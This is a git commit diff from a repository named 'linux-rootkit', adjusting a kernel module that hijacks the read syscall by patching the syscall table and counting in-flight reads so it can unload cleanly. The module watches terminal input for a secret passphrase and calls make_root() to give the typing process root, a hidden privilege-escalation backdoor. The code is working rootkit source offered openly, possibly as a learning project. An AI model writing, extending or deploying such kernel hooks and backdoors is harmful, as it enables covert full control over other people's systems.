linux-rootkit

commit 070f42ac284548ef79a192fc6401f69e2a07bf50
parent e4895af9e60b1acbcac253e816821ddc780f3e80
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date:   Sat, 28 Nov 2020 16:14:06 +0100

Safe unloading

Diffstat:
M
src/backdoor.c
 | 
9
++++++++-
M
src/hook.c
 | 
2
++
M
src/read.c
 | 
3
++-

3 files changed, 12 insertions(+), 2 deletions(-)
diff --git a/src/backdoor.c b/src/backdoor.c
@@ -1,4 +1,5 @@
 #include <linux/tty.h>
+#include <linux/delay.h>
 
 #include "common.h"
 #include "backdoor.h"
@@ -51,10 +52,16 @@ unbackdoor(void)
     }
 
     if (sys_read) {
-        while (atomic_read(&read_count) > 0);
         disable_protection();
         sys_calls[__NR_read] = (void *)sys_read;
         enable_protection();
+
+        int cur;
+
+        while ((cur = atomic_read(&read_count)) > 0) {
+            DEBUG_INFO("Waiting for %d tasks", cur);
+            msleep(250);
+        }
     }
 }
 
diff --git a/src/hook.c b/src/hook.c
@@ -85,6 +85,7 @@ enable_protection(void)
 asmlinkage ssize_t
 g7_read(const struct pt_regs *pt_regs)
 {
+    atomic_inc(&read_count);
     long ret = sys_read(pt_regs);
     
     //Just like the SystemV-CC (ignoring fd)
@@ -93,6 +94,7 @@ g7_read(const struct pt_regs *pt_regs)
 
     handle_pid(current->pid, buf, count);
 
+    atomic_dec(&read_count);
     return ret;
 }
 
diff --git a/src/read.c b/src/read.c
@@ -89,7 +89,7 @@ handle_compare(char *buf, pid_t pid, size_t size)
             i++;
             entry->iter++;
         }
-
+        
         if(strnstr(entry->str, PASSPHRASE, MAX_BUF)) {
             make_root();
             return;
@@ -101,6 +101,7 @@ handle_compare(char *buf, pid_t pid, size_t size)
 
             goto fill;
         }
+
     }
 
     if(strstr(entry->str, PASSPHRASE))